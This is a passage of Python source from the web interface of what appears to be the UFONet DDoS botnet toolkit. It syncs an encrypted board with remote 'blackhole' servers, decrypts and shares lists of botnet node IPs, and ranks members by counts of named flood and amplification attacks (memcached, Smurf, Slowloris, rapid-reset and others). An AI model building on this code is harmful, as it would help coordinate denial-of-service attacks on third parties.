  6813. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  6814. except:
  6815. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  6816. else: # blackhole/ip is into 'globalnet.txt' file
  6817. globalnet_trans = "[Error] [AI] Your 'Blackhole/IP' is currently into the list. Aborting...\n"
  6818. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6819. f = open("/tmp/out", "w")
  6820. f.write(globalnet_trans)
  6821. f.write(end_mark)
  6822. f.close()
  6823. if page == "/cmd_transfer_globalnet_update":
  6824. if not os.path.exists('/tmp/out'):
  6825. open('/tmp/out', 'w').close()
  6826. with open('/tmp/out', 'r') as f:
  6827. self.pages["/cmd_transfer_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  6828. if page == "/cmd_sync_board":
  6829. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  6830. blackhole_ip = pGet["board_source"]
  6831. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6832. try:
  6833. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  6834. f = open(self.board_file, "w") # write updates to board.txt
  6835. f.write(board)
  6836. f.close()
  6837. self.board_text = board
  6838. except:
  6839. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  6840. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6841. f = open("/tmp/out", "w")
  6842. f.write(str(board))
  6843. f.write(end_mark)
  6844. f.close()
  6845. if page == "/cmd_sync_board_update":
  6846. if not os.path.exists('/tmp/out'):
  6847. open('/tmp/out', 'w').close()
  6848. with open('/tmp/out', 'r') as f:
  6849. stream = f.read()
  6850. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  6851. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  6852. if page == "/cmd_send_message_board":
  6853. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6854. blackhole_ip = pGet["board_source"]
  6855. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6856. try:
  6857. board_key = pGet["board_key"]
  6858. except:
  6859. board_key = ""
  6860. try:
  6861. board_topic = pGet["board_topic"]
  6862. except:
  6863. board_topic = ""
  6864. try:
  6865. board_message = pGet["stream_txt"]
  6866. except:
  6867. board_message = ""
  6868. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6869. if board_key != "" or board_topic != "" or board_message != "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  6870. try:
  6871. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  6872. board_data = json.load(board_json_file)
  6873. board_json_file.close()
  6874. board_nickname = board_data["profile_nick"]
  6875. self.encrypt(board_key, board_nickname)
  6876. if self.encryptedtext:
  6877. board_nickname = self.encryptedtext
  6878. self.encryptedtext = "" # clean encryptedtext buffer
  6879. board_icon = board_data["profile_icon"]
  6880. board_icon = board_icon.replace("link", "") # keep just icon number
  6881. board_id = board_data["profile_token"]
  6882. self.encrypt(board_key, board_message)
  6883. if self.encryptedtext:
  6884. board_message = self.encryptedtext
  6885. self.encryptedtext = "" # clean encryptedtext buffer
  6886. if board_topic == "general":
  6887. board_topic = 1
  6888. elif board_topic == "opsec":
  6889. board_topic = 2
  6890. elif board_topic == "faq":
  6891. board_topic = 3
  6892. elif board_topic == "bugs":
  6893. board_topic = 4
  6894. elif board_topic == "media":
  6895. board_topic = 5
  6896. else:
  6897. board_topic = 1
  6898. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  6899. try:
  6900. host = blackhole_ip
  6901. cport = 9992 # port used by mothership grider (server side script)
  6902. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6903. gs.settimeout(30)
  6904. gs.connect((host, cport))
  6905. gs.send(stream.encode())
  6906. gs.close()
  6907. try: # download latest board after submit
  6908. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  6909. f = open(self.board_file, "w") # write updates to board.txt
  6910. f.write(board)
  6911. f.close()
  6912. except:
  6913. pass
  6914. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  6915. except:
  6916. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  6917. except:
  6918. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  6919. f = open("/tmp/out", "w")
  6920. f.write(board_trans)
  6921. f.write(end_mark)
  6922. f.close()
  6923. if page == "/cmd_send_message_board_update":
  6924. if not os.path.exists('/tmp/out'):
  6925. open('/tmp/out', 'w').close()
  6926. with open('/tmp/out', 'r') as f:
  6927. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  6928. if page == "/cmd_decrypt":
  6929. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  6930. try:
  6931. news_key = pGet["news_key"]
  6932. except:
  6933. news_key = ""
  6934. try:
  6935. missions_key = pGet["missions_key"]
  6936. except:
  6937. missions_key = ""
  6938. end_mark = "\n[Info] [AI] End of decryption."
  6939. if news_key != "": # news decryption
  6940. self.decrypted_news = []
  6941. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6942. news_key = pGet["news_key"]
  6943. for news_text in self.list_news:
  6944. self.decrypt(news_key, news_text)
  6945. if self.decryptedtext:
  6946. if len(self.decryptedtext) < 2:
  6947. self.decrypted_news.append(nodec_text)
  6948. else:
  6949. self.decrypted_news.append(self.decryptedtext)
  6950. else:
  6951. self.decrypted_news.append(nodec_text)
  6952. self.decryptedtext = "" # clean decryptedtext buffer
  6953. f = open("/tmp/out", "w")
  6954. num_news = 0 # news counter
  6955. for m in self.decrypted_news:
  6956. num_news = num_news + 1
  6957. f.write("["+str(num_news)+"] " + str(m)+"\n")
  6958. f.write(end_mark)
  6959. f.close()
  6960. else:
  6961. if missions_key != "": # missions decryption
  6962. self.decrypted_missions = []
  6963. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6964. missions_key = pGet["missions_key"]
  6965. for missions_text in self.list_missions:
  6966. self.decrypt(missions_key, missions_text)
  6967. if self.decryptedtext:
  6968. if len(self.decryptedtext) < 2:
  6969. self.decrypted_missions.append(nodec_text)
  6970. else:
  6971. self.decrypted_missions.append(self.decryptedtext)
  6972. else:
  6973. self.decrypted_missions.append(nodec_text)
  6974. self.decryptedtext = "" # clean decryptedtext buffer
  6975. f = open("/tmp/out", "w")
  6976. num_mission = 0 # missions counter
  6977. for m in self.decrypted_missions:
  6978. num_mission = num_mission + 1
  6979. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  6980. f.write(end_mark)
  6981. f.close()
  6982. else: # blackholes (nodes) decryption + data showing
  6983. self.decrypted_blackholes = []
  6984. nodec_text = "*** [This message cannot be solved with that key...]"
  6985. blackhole_key = pGet["blackhole_key"]
  6986. for blackholes_text in self.list_blackholes:
  6987. self.decrypt(blackhole_key, blackholes_text)
  6988. if self.decryptedtext:
  6989. self.decrypted_blackholes.append(self.decryptedtext)
  6990. else:
  6991. self.decrypted_blackholes.append(nodec_text)
  6992. self.decryptedtext = "" # clean decryptedtext buffer
  6993. f = open("/tmp/out", "w")
  6994. num_blackholes = 0 # blackholes counter
  6995. single_ip_num = 0
  6996. for b in self.decrypted_blackholes:
  6997. num_blackholes = num_blackholes + 1
  6998. if blackhole_sep in b: # IP | Mode | Comment | Actions
  6999. s = b.rsplit(blackhole_sep, 1)[0]
  7000. ip = str(s.rsplit(blackhole_sep, 1)[0])
  7001. single_ip = ip.replace("IP:","")
  7002. single_ip_num = single_ip_num + 1
  7003. mode = str(s.rsplit(blackhole_sep, 1)[1])
  7004. if mode == "D": # Download only mode
  7005. mode = "<input type='hidden' name='down_ip_"+str(single_ip_num)+"' id='down_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Download_Botnet_IP("+str(single_ip_num)+")'>Download</button>"
  7006. elif mode == "U": # Upload only mode
  7007. mode = "<input type='hidden' name='up_ip_"+str(single_ip_num)+"' id='up_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Upload_Botnet_IP("+str(single_ip_num)+")'>Upload</button>"
  7008. else: # Download/Upload mode
  7009. mode = "<input type='hidden' name='down_ip_"+str(single_ip_num)+"' id='down_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Download_Botnet_IP("+str(single_ip_num)+")'>Download</button>" + " - " + "<input type='hidden' name='up_ip_"+str(single_ip_num)+"' id='up_ip_"+str(single_ip_num)+"' value='"+single_ip+"'><button onclick='Upload_Botnet_IP("+str(single_ip_num)+")'>Upload</button>"
  7010. comment = str(b.rsplit(blackhole_sep, 1)[1])
  7011. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  7012. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  7013. else:
  7014. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  7015. f.write(end_mark)
  7016. f.close()
  7017. if page == "/cmd_decrypt_update":
  7018. if not os.path.exists('/tmp/out'):
  7019. open('/tmp/out', 'w').close()
  7020. with open('/tmp/out', 'r') as f:
  7021. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  7022. if page == "/news":
  7023. self.pages["/news"] = self.html_news()
  7024. if page == "/tv":
  7025. self.pages["/tv"] = self.html_tv()
  7026. if page == "/missions":
  7027. self.pages["/missions"] = self.html_missions()
  7028. if page == "/board":
  7029. self.pages["/board"] = self.html_board()
  7030. if page == "/grid":
  7031. self.pages["/grid"] = self.html_grid()
  7032. if page == "/wargames":
  7033. self.pages["/wargames"] = self.html_wargames()
  7034. if page == "/links":
  7035. self.pages["/links"] = self.html_links()
  7036. if page == "/streams":
  7037. self.pages["/streams"] = self.html_streams()
  7038. if page == "/games":
  7039. self.pages["/games"] = self.html_games()
  7040. if page == "/spaceinvaders":
  7041. self.pages["/spaceinvaders"] = self.html_spaceinvaders()
  7042. if page == "/browser":
  7043. self.pages["/browser"] = self.html_browser()
  7044. if page == "/radar":
  7045. self.pages["/radar"] = self.html_globalnet()
  7046. if page == "/grid_profile":
  7047. if pGet=={}:
  7048. self.pages["/grid_profile"] = self.html_grid_profile()
  7049. else:
  7050. self.save_grid(pGet)
  7051. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  7052. if page == "/board_profile":
  7053. if pGet =={}:
  7054. self.pages["/board_profile"] = self.html_board_profile()
  7055. else:
  7056. self.save_profile(pGet)
  7057. self.pages["/board_profile"] = self.html_board_profile_submit()
  7058. if page == "/board_remove":
  7059. self.pages["/board_remove"] = self.html_board_remove()
  7060. if page == "/grid_remove":
  7061. self.pages["/grid_remove"] = self.html_grid_remove()
  7062. if page == "/cmd_decrypt_moderator_board":
  7063. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  7064. try:
  7065. board_key = pGet["board_key"]
  7066. except:
  7067. board_key = ""
  7068. try:
  7069. filter = pGet["filter"]
  7070. except:
  7071. filter = ""
  7072. end_mark = "\n[Info] [AI] End of decryption."
  7073. if board_key != "": # board decryption
  7074. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  7075. f = open("/tmp/out", "w")
  7076. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  7077. f.write(str(b)+"\n")
  7078. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  7079. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  7080. if board_msg_sep in m:
  7081. m = m.split(board_msg_sep)
  7082. topic = m[0] # topic
  7083. t = m[1] # icon
  7084. n = m[2] # nick
  7085. g = m[3] # id
  7086. l = m[4] # comment
  7087. if topic == "1":
  7088. topic = "/GENERAL"
  7089. elif topic == "2":
  7090. topic = "/#OPSEC "
  7091. elif topic == "3":
  7092. topic = "/FAQ "
  7093. elif topic == "4":
  7094. topic = "/BUGS "
  7095. elif topic == "5":
  7096. topic = "/MEDIA "
  7097. else:
  7098. topic = "/BUGS[!]"
  7099. operator_img = open("core/images/crew/link"+str(t)+".txt").read()
  7100. icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
  7101. self.decrypt(board_key, n)
  7102. if self.decryptedtext:
  7103. nick = self.decryptedtext
  7104. else:
  7105. nick = 'Anonymous' # We are legion!
  7106. try:
  7107. nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
  7108. except:
  7109. pass
  7110. if len(nick) < 3:
  7111. nick = 'Anonymous'
  7112. self.decryptedtext = "" # clean decryptedtext buffer
  7113. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  7114. self.decrypt(board_key, l)
  7115. if self.decryptedtext:
  7116. msg = self.decryptedtext
  7117. else:
  7118. msg = nodec_text
  7119. try:
  7120. msg = msg.decode('latin-1')
  7121. except:
  7122. pass
  7123. if len(msg) < 2:
  7124. msg = nodec_text
  7125. self.decryptedtext = "" # clean decryptedtext buffer
  7126. if filter in topic or filter == "ALL": # filter content by user selection
  7127. b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
  7128. b += "<font size=+2>"+str(topic)+"</font>"
  7129. b += "<br>by "+str(nick)+"<br><br>"
  7130. b += str(msg) + "</td></tr>"
  7131. f.write(str(b)+"\n")
  7132. else:
  7133. pass
  7134. else: # not valid stream data
  7135. pass
  7136. b="</table>"
  7137. f.write(str(b)+"\n")
  7138. f.write(end_mark)
  7139. f.close()
  7140. if page == "/cmd_decrypt_moderator_board_update":
  7141. if not os.path.exists('/tmp/out'):
  7142. open('/tmp/out', 'w').close()
  7143. with open('/tmp/out', 'r') as f:
  7144. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  7145. if page == "/cmd_decrypt_grid":
  7146. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  7147. try:
  7148. grid_key = pGet["grid_key"]
  7149. except:
  7150. grid_key = ""
  7151. end_mark = "[Info] [AI] End of decryption."
  7152. if grid_key != "": # grid decryption
  7153. # Mothership stats counters
  7154. mothership_members = 0
  7155. unknown_members = 0
  7156. member_1 = 0 # Rookie
  7157. member_2 = 0 # Mercenary
  7158. member_3 = 0 # Bandit
  7159. member_4 = 0 # UFOmmander!
  7160. member_5 = 0 # UFOl33t!
  7161. mothership_missions = 0
  7162. mothership_transferred = 0
  7163. mothership_attacks = 0
  7164. mothership_loic = 0
  7165. mothership_loris = 0
  7166. mothership_ufosyn = 0
  7167. mothership_spray = 0
  7168. mothership_smurf = 0
  7169. mothership_xmas = 0
  7170. mothership_nuke = 0
  7171. mothership_tachyon = 0
  7172. mothership_monlist = 0
  7173. mothership_fraggle = 0
  7174. mothership_sniper = 0
  7175. mothership_ufoack = 0
  7176. mothership_uforst = 0
  7177. mothership_droper = 0
  7178. mothership_overlap = 0
  7179. mothership_pinger = 0
  7180. mothership_ufoudp = 0
  7181. mothership_memcached = 0
  7182. mothership_chargen = 0
  7183. mothership_cldap = 0
  7184. mothership_ssdp = 0
  7185. mothership_qotd = 0
  7186. mothership_tftp = 0
  7187. mothership_wsdisco = 0
  7188. mothership_coap = 0
  7189. mothership_mssql = 0
  7190. mothership_arms = 0
  7191. mothership_plex = 0
  7192. mothership_netbios = 0
  7193. mothership_ripv1 = 0
  7194. mothership_middlebox = 0
  7195. mothership_slowread = 0
  7196. mothership_goldeneye = 0
  7197. mothership_rapidreset = 0
  7198. mothership_finflood = 0
  7199. mothership_chargo = 0
  7200. mothership_dorking = 0
  7201. mothership_maxchargo = 0
  7202. nodec_text = "KEY?"
  7203. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_fraggle' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('fraggle','"+str(grid_key)+"')>FRAGGLE:</a></td><td align='center'><a id='filter_sniper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('sniper','"+str(grid_key)+"')>SNIPER:</a></td><td align='center'><a id='filter_ufoack' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoack','"+str(grid_key)+"')>UFOACK:</a></td><td align='center'><a id='filter_uforst' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('uforst','"+str(grid_key)+"')>UFORST:</a></td><td align='center'><a id='filter_droper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('droper','"+str(grid_key)+"')>DROPER:</a></td><td align='center'><a id='filter_overlap' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('overlap','"+str(grid_key)+"')>OVERLAP:</a></td><td align='center'><a id='filter_pinger' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('pinger','"+str(grid_key)+"')>PINGER:</a></td><td align='center'><a id='filter_ufoudp' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoudp','"+str(grid_key)+"')>UFOUDP:</a></td><td align='center'><a id='filter_memcached' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('memcached','"+str(grid_key)+"')>MEMCACHED:</a></td><td align='center'><a id='filter_chargen' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargen','"+str(grid_key)+"')>CHARGEN:</a></td><td align='center'><a id='filter_cldap' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('cldap','"+str(grid_key)+"')>CLDAP:</a></td><td align='center'><a id='filter_ssdp' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ssdp','"+str(grid_key)+"')>SSDP:</a></td><td align='center'><a id='filter_qotd' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('qotd','"+str(grid_key)+"')>QOTD:</a></td><td align='center'><a id='filter_tftp' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tftp','"+str(grid_key)+"')>TFTP:</a></td><td align='center'><a id='filter_wsdisco' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('wsdisco','"+str(grid_key)+"')>WSDISCO:</a></td><td align='center'><a id='filter_coap' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('coap','"+str(grid_key)+"')>COAP:</a></td><td align='center'><a id='filter_mssql' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('mssql','"+str(grid_key)+"')>MSSQL:</a></td><td align='center'><a id='filter_arms' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('arms','"+str(grid_key)+"')>ARMS:</a></td><td align='center'><a id='filter_plex' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('plex','"+str(grid_key)+"')>PLEX:</a></td><td align='center'><a id='filter_netbios' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('netbios','"+str(grid_key)+"')>NETBIOS:</a></td><td align='center'><a id='filter_ripv1' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ripv1','"+str(grid_key)+"')>RIPV1:</a></td><td align='center'><a id='filter_middlebox' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('middlebox','"+str(grid_key)+"')>MIDDLEBOX:</a></td><td align='center'><a id='filter_slowread' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('slowread','"+str(grid_key)+"')>SLOWREAD:</a></td><td align='center'><a id='filter_goldeneye' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('goldeneye','"+str(grid_key)+"')>GOLDENEYE:</a></td><td align='center'><a id='filter_rapidreset' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('rapidreset','"+str(grid_key)+"')>RAPIDRESET:</a></td><td align='center'><a id='filter_finflood' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('finflood','"+str(grid_key)+"')>FINFLOOD:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  7204. grid_key = pGet["grid_key"]
  7205. f = open("/tmp/out", "w")
  7206. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  7207. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, [v2: memcached..finflood], contact, ID
  7208. if grid_msg_sep in m:
  7209. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4|26->1.5-1.9|44->2.0)
  7210. m = m.split(grid_msg_sep)
  7211. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  7212. grid_memcached = grid_chargen = grid_cldap = grid_ssdp = grid_qotd = grid_tftp = grid_wsdisco = grid_coap = grid_mssql = grid_arms = grid_plex = grid_netbios = grid_ripv1 = grid_middlebox = grid_slowread = grid_goldeneye = grid_rapidreset = grid_finflood = nodec_text
  7213. grid_nickname = m[0] # nickname
  7214. self.decrypt(grid_key, grid_nickname)
  7215. if self.decryptedtext:
  7216. grid_nickname = self.decryptedtext
  7217. else:
  7218. grid_nickname = nodec_text
  7219. unknown_members = unknown_members + 1 # add members as unknown
  7220. self.decryptedtext = "" # clean decryptedtext buffer
  7221. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  7222. grid_nickname = "Anonymous"
  7223. else:
  7224. grid_nickname = str(grid_nickname) # nickname
  7225. grid_ranking = m[1] # ranking
  7226. self.decrypt(grid_key, grid_ranking)
  7227. if self.decryptedtext:
  7228. try:
  7229. grid_ranking = int(self.decryptedtext)
  7230. except:
  7231. grid_ranking = nodec_text
  7232. else:
  7233. grid_ranking = nodec_text
  7234. self.decryptedtext = "" # clean decryptedtext buffer
  7235. if grid_ranking == 1: #Rookie
  7236. grid_ranking = "<font color='white' size='4'>*</font>"
  7237. member_1 = member_1 + 1
  7238. elif grid_ranking == 2: # Mercenary
  7239. grid_ranking = "<font color='cyan' size='4'>**</font>"
  7240. member_2 = member_2 + 1
  7241. elif grid_ranking == 3: # Bandit
  7242. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  7243. member_3 = member_3 + 1
  7244. elif grid_ranking == 4: # UFOmmander!
  7245. grid_ranking = "<font color='blue' size='4'>****</font>"
  7246. member_4 = member_4 + 1
  7247. elif grid_ranking == 5: # UFOl33t!
  7248. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  7249. member_5 = member_5 + 1
  7250. else:
  7251. grid_ranking = nodec_text
  7252. grid_totalchargo = m[2] # total chargo
  7253. self.decrypt(grid_key, grid_totalchargo)
  7254. if self.decryptedtext:
  7255. grid_totalchargo = self.decryptedtext
  7256. else:
  7257. grid_totalchargo = nodec_text
  7258. self.decryptedtext = "" # clean decryptedtext buffer
  7259. try: # parse for int
  7260. grid_totalchargo = int(grid_totalchargo)
  7261. mothership_chargo = mothership_chargo + grid_totalchargo
  7262. except:
  7263. grid_totalchargo = nodec_text
  7264. grid_dorking = m[3] # dorking
  7265. self.decrypt(grid_key, grid_dorking)
  7266. if self.decryptedtext:
  7267. grid_dorking = self.decryptedtext
  7268. else:
  7269. grid_dorking = nodec_text
  7270. self.decryptedtext = "" # clean decryptedtext buffer
  7271. try: # parse for int
  7272. grid_dorking = int(grid_dorking)
  7273. mothership_dorking = mothership_dorking + grid_dorking
  7274. except:
  7275. grid_dorking = nodec_text
  7276. grid_transferred = m[4] # transferred
  7277. self.decrypt(grid_key, grid_transferred)
  7278. if self.decryptedtext:
  7279. grid_transferred = self.decryptedtext
  7280. else:
  7281. grid_transferred = nodec_text
  7282. self.decryptedtext = "" # clean decryptedtext buffer
  7283. try: # parse for int
  7284. grid_transferred = int(grid_transferred)
  7285. mothership_transferred = mothership_transferred + grid_transferred
  7286. except:
  7287. grid_transferred = nodec_text
  7288. grid_maxchargo = m[5] # maxchargo
  7289. self.decrypt(grid_key, grid_maxchargo)
  7290. if self.decryptedtext:
  7291. grid_maxchargo = self.decryptedtext
  7292. else:
  7293. grid_maxchargo = nodec_text
  7294. self.decryptedtext = "" # clean decryptedtext buffer
  7295. try: # parse for int
  7296. grid_maxchargo = int(grid_maxchargo)
  7297. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  7298. except:
  7299. grid_maxchargo = nodec_text
  7300. grid_missions = m[6] # missions
  7301. self.decrypt(grid_key, grid_missions)
  7302. if self.decryptedtext:
  7303. grid_missions = self.decryptedtext
  7304. else:
  7305. grid_missions = nodec_text
  7306. self.decryptedtext = "" # clean decryptedtext buffer
  7307. try: # parse for int
  7308. grid_missions = int(grid_missions)
  7309. mothership_missions = mothership_missions + grid_missions
  7310. except:
  7311. grid_missions = nodec_text
  7312. grid_attacks = m[7] # attacks
  7313. self.decrypt(grid_key, grid_attacks)
  7314. if self.decryptedtext:
  7315. grid_attacks = self.decryptedtext
  7316. else:
  7317. grid_attacks = nodec_text
  7318. self.decryptedtext = "" # clean decryptedtext buffer
  7319. try: # parse for int
  7320. grid_attacks = int(grid_attacks)
  7321. mothership_attacks = mothership_attacks + grid_attacks
  7322. except:
  7323. grid_attacks = nodec_text
  7324. grid_loic = m[8] # loic
  7325. self.decrypt(grid_key, grid_loic)
  7326. if self.decryptedtext:
  7327. grid_loic = self.decryptedtext
  7328. else:
  7329. grid_loic = nodec_text
  7330. self.decryptedtext = "" # clean decryptedtext buffer
  7331. try: # parse for int
  7332. grid_loic = int(grid_loic)
  7333. mothership_loic = mothership_loic + grid_loic
  7334. except:
  7335. grid_loic = nodec_text
  7336. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  7337. grid_loris = m[9] # loris
  7338. self.decrypt(grid_key, grid_loris)
  7339. if self.decryptedtext:
  7340. grid_loris = self.decryptedtext
  7341. else:
  7342. grid_loris = nodec_text
  7343. self.decryptedtext = "" # clean decryptedtext buffer
  7344. try: # parse for int
  7345. grid_loris = int(grid_loris)
  7346. mothership_loris = mothership_loris + grid_loris
  7347. except:
  7348. grid_loris = nodec_text
  7349. else:
  7350. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  7351. self.decrypt(grid_key, grid_loris)
  7352. if self.decryptedtext:
  7353. grid_loris = self.decryptedtext
  7354. else:
  7355. grid_loris = nodec_text
  7356. self.decryptedtext = "" # clean decryptedtext buffer
  7357. try: # parse for int
  7358. grid_loris = int(grid_loris)
  7359. mothership_loris = mothership_loris + grid_loris
  7360. except:
  7361. grid_loris = nodec_text
  7362. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  7363. grid_ufosyn = m[10] # ufosyn
  7364. self.decrypt(grid_key, grid_ufosyn)
  7365. if self.decryptedtext:
  7366. grid_ufosyn = self.decryptedtext
  7367. else:
  7368. grid_ufosyn = nodec_text
  7369. self.decryptedtext = "" # clean decryptedtext buffer
  7370. try: # parse for int
  7371. grid_ufosyn = int(grid_ufosyn)
  7372. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  7373. except:
  7374. grid_ufosyn = nodec_text
  7375. else:
